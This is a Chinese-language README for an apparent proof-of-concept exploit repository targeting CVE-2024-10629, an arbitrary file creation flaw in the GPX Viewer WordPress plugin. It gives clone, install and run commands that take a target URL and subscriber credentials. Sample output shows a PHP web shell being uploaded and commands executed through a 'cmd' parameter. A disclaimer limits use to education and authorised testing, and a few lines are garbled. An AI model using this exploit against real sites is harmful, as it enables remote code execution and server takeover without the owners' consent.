该仓库包含针对 WordPress 的 GPX Viewer 插件的概念验证漏洞利用代码,该插件存在任意文件创建漏洞(CVE-2024-10629)。该漏洞允许具有订阅者级别及以上访问权限的已认证攻击者在受影响站点的服务器上创建任意文件,从而可能导致远程代码执行。
WordPress 的 GPX Viewer 插件在所有版本(包括 2.2.8)中,由于 gpxv_file_upload() 函数缺少能力检查和文件类型验证,导致存在任意文件创建漏洞。这使具有订阅者级别及以上访问权限的已认证攻击者能够在受影响站点的服务器上创建任意文件,从而使远程代码执行成为可能。
requests 库克隆仓库:
git clone https://github.com/Nxploited/CVE-2024-10629/
cd CVE-2024-10629
安装所需库:
pip install requests
运行漏洞利用:
python exploit.py -u <target_url> -un <username> -p <password>
将 <target_url>、<username> 和 <password> 替换为相应的值。
python CVE-2024-10629.py -u http://example.com/wordpress -un subscriber -p subscriber_password
ls)。[+] WordPress plugin version: 2.2.8
[+] Vulnerable version detected. Proceeding with exploitation...
[+] Logged in successfully.
[+] Shell uploaded. Checking shell...
[+] Shell uploaded successfully.
[+] Shell URL: http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php
[+] Command output:
http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php?cmd=ls
index.php
wp-admin
wp-content
wp-includes
...
ls = 显示文件uname -a = 显示系统信息此漏洞利用代码仅供教育目的和授权测试使用。未经授权对您不拥有或没有明确测试许可的系统使用此漏洞利用代码是非法且不道德的。本仓库的作者和贡献者不对因使用此漏洞利用代码而造成的任何滥用或损害负责。
作者:Khaled Alenazi (Nxploit)